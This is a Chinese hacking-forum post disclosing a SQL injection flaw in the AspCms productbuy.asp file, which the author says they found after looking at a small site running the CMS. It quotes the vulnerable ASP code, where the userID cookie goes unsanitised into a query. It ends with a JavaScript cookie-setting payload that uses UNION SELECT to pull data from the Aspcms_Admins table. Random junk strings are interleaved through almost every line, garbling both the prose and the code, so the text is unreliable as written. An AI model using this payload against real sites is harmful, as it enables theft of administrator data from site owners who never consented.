好久没上土司了,上来一看发现在删号名单内.....# b4 J# i% Z7 S0 B6 T- ?; j9 C- `- L( T5 d: }
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
" X; I) P3 F7 k1 d+ v: Z废话不多说,看代码:; b; Y3 P! D) I0 k
' [/ m8 d! ]7 A, ?( j* r8 l
<%
5 d9 o2 C# [' g; l2 P- k; r! X7 ~% |# u7 y: F+ S: Q, c/ o
if action = "buy" then
0 p& q* m* B$ Y/ {. e# |0 g
1 J D4 B# Z+ S% x7 H) \ addOrder(); p2 L8 ?" u' U: ~! B
% a G( p+ ]) Velse% |7 o$ d3 S i8 E
9 v* R. f6 O/ K) Q8 ]) l1 P$ B echoContent()* w" ?" X# J5 j5 F! b
% |/ x) ]" Y1 V- W7 K( h! G
end if
* Q- i6 x, x- J" g' P' N
( e# B2 \/ o$ a9 v
6 z) U$ D% g% Y# I* z& @" `, d
( d+ o& F, k5 Z) ^……略过
6 B1 ?4 S& h3 q4 }" r3 ]& ~1 J* ?( h J
. p" G* Z, n; j4 P% A& }. S
) v5 e) t( {- S+ q( |Sub echoContent()8 w/ q/ I" t) }& v6 n# f- U
* u4 ^9 H* v3 P4 K dim id6 P" k9 ?! r2 E. O- X, V
( L6 L3 Z7 h/ W4 {6 a% u id=getForm("id","get")
5 E' k1 j' y- B8 J. z) U" O: d2 R7 I |1 m, J2 F2 ?
5 w0 e* Q+ Q1 S9 D2 m
3 F; \/ p8 T3 m4 `% q5 | if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 1 Z7 e" f, p* |) ^$ j# [
3 o+ l$ Y0 `: P: W" G, e - D8 [9 k0 l; F7 q
4 \8 @6 D- h: C9 u$ t2 I" l
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
) ~: e. @- X3 k( b# R. e1 f. [: c5 r: A& o
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
6 B+ h0 x+ f- H
: K/ e% K R6 W. V9 J7 Q Dim templatePath,tempStr
) o% D& p8 j. [' X, q7 ?1 ~
7 a$ z4 M/ B1 K; l5 n+ Q s templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"( v3 Q" h, v7 n; n f5 L
; J6 D d2 }/ L! |/ O8 Z+ H" B2 P
! o! g) d9 R( m8 y# U
* P' |' g- K; I' H/ u" H
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1"); [3 m9 r) n. \. h
! i/ c ~& e9 k% [6 ` selectproduct=rsObj(0)
# I8 c3 \2 t1 n. `2 f: F/ Z
. A* F$ G, ]1 z, D' E. k6 L: u' e
9 n( y; a8 Y- d+ E% Y. L: b
/ P: Q: l, O( J Dim linkman,gender,phone,mobile,email,qq,address,postcode! L) {7 w. X& d2 J- u/ E) J
/ }/ p6 `' D3 Z5 K* K; A
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0$ j; I7 l" z2 q a; p$ g/ Y
/ u0 e |% t: t5 q3 E
if rCookie("loginstatus")=1 then
0 m3 k ` ]2 t* I
; k, L2 o3 ~9 K! H5 h set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")+ M! c) j4 I7 O2 Q! L4 c" l/ n
) F0 l& m7 S o* H: N- u- h linkman=rsObj("truename")% ]8 e; J! s( E7 I( ~) ?- u% S
5 M1 K C$ ]7 _$ s& b3 i
gender=rsObj("gender")5 W5 j# r5 \, T& e; Z4 L$ L& ?
8 c$ A% x6 y* G7 Q8 D% J) ~ phone=rsObj("phone")
1 x: k9 E+ s" w6 O' R$ h7 x$ Z% V- i5 |# c Q, `! h& X
mobile=rsObj("mobile")7 G* N8 f( E% {$ E$ N
& l4 L: a1 w% Q3 f; a* X/ r: f( P7 e email=rsObj("email")% H9 x& o- d5 P7 ~9 }" q) M6 r
+ @" J. [/ v' ?, v2 n qq=rsObj("qq")
' _2 \% o1 U4 O' ?# z
- n1 s- N5 C5 \' x1 {6 d" z( I address=rsObj("address")
- b7 v) Y" B* n( G6 @9 s3 a+ |' v% {' i- P- y& T3 A& J
postcode=rsObj("postcode")
1 D; A9 i. S0 m; Z, y' b/ w6 m
% s/ S( T$ ~+ P {+ |# Z else 5 j: C" H2 |; b+ q$ i6 [/ g
4 v8 q" r1 _1 [/ S. P8 I2 h
gender=1
@3 x* C; e0 O( B' h) S* J
% L, Y& F+ r ?- F end if' P# I( ?# S$ B* X& G
1 R5 p8 O+ M! Z) v+ t rsObj.close()
& h5 L% S; q$ t6 E2 O+ s) d! n# [
0 \4 D. F- i, [4 R% U& j ; r5 P" |' I5 _- C( K& [9 O
, F# N, H S' H( c0 ?. a5 d M
with templateObj
3 i2 G6 V( Q" x0 n4 U$ S. f* Y! z; {- v0 Y
.content=loadFile(templatePath)
& s3 Y/ y& v y) D0 ?
) \0 `5 p6 m {3 u: J U+ Y .parseHtml()# ?; Q6 `9 ~8 h& {
9 ?: x& _1 \3 g& g3 D. n/ V
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
- b) ?# i, I, ~# J- Q# v
8 s8 C8 o! O, C0 E& V M% X) L) ]/ ] .content=replaceStr(.content,"[aspcms:linkman]",linkman)
1 n+ k( [; t a- x
0 q+ }: g7 X: a! h. ? .content=replaceStr(.content,"[aspcms:gender]",gender)
$ L- ?# h: M# u/ ^+ W! R. w7 n. m6 K; G
.content=replaceStr(.content,"[aspcms:phone]",phone) # ?. l, M9 X. O- \+ d2 Q. I! d, z
" A9 _5 \7 ]- v1 ~4 X9 {! E% `5 n .content=replaceStr(.content,"[aspcms:mobile]",mobile)
' e' {: R H/ p' s0 U9 K% w2 v) u# c7 a
.content=replaceStr(.content,"[aspcms:email]",email)
! W6 q2 t- [5 I' V1 _, {$ R; t) I
.content=replaceStr(.content,"[aspcms:qq]",qq) * I+ p0 \- g8 K+ T& J" W% @
! w% A/ f4 P, s/ ^. q9 S% O2 T .content=replaceStr(.content,"[aspcms:address]",address)
0 W/ E+ x1 I6 L7 d, F5 w! S4 [* S. [3 [% |+ R
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
: H6 o! H" Y' y) j4 D+ p5 J
4 U/ D; L7 y" U) c! R( A B .parseCommon()
+ j* _7 h* d3 c8 K8 @: r' u7 ?6 d7 k/ W7 c B
echo .content
$ }6 [- j2 V: l+ d1 V; R3 o+ r0 p5 ~1 m$ P6 b
end with
' r; |4 ~8 q" ], y7 s9 J
2 _- s& |% L; z set templateobj =nothing : terminateAllObjects0 _/ m9 J3 M- K( P. s
3 O& a4 X3 {; {8 o# U' E# f
End Sub
0 ]$ A; o+ _. c$ e漏洞很明显,没啥好说的6 X0 _5 [2 s8 z7 q* j
poc:$ q9 c" g" ]4 n7 u
. c4 r+ U; i' k. l4 S9 p. [
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
/ J& H! ]2 S8 h t5 Q% g
5 l0 ]# S( b* @9 [+ y- H" V6 v& l3 N |